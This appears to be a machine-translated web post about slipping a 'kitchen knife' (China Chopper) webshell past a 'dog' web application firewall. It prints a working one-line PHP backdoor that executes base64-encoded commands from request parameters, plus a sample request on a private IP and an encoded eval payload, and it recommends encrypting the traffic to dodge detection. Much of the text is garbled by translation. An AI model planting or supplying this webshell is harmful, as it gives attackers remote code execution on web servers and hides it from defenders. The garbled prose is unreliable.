How to use a kitchen knife for a safe dog

The Left shell is uploaded, but the system is blocked by the dog. The shell is too close to the dog, but after the left dog is used, the packet submitted by the dog is always considered a method, the system re-defines a z0 variable to execute PHP code when connecting PHP code with a data kitchen knife that is decrypted in one sentence. We only need to remove eval post with OD, if you enter the password of a horse in one sentence, can you pass the dog? A sentence: <? Php preg_replace ("/^/e", base64_decode ($ _ REQUEST [g]), 0);?> You can enter http: // 192.168.100.193/s. php for the password? G = ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFt6MF0pKQ = normal knife
Attackers can kill a dog with a knife, so that the dog can kill the dog with a knife, and the dog can kill the dog with a knife. Summary: If you decrypt the knife on the server, if the client only transmits the encrypted information, the dog will never be able to beat it.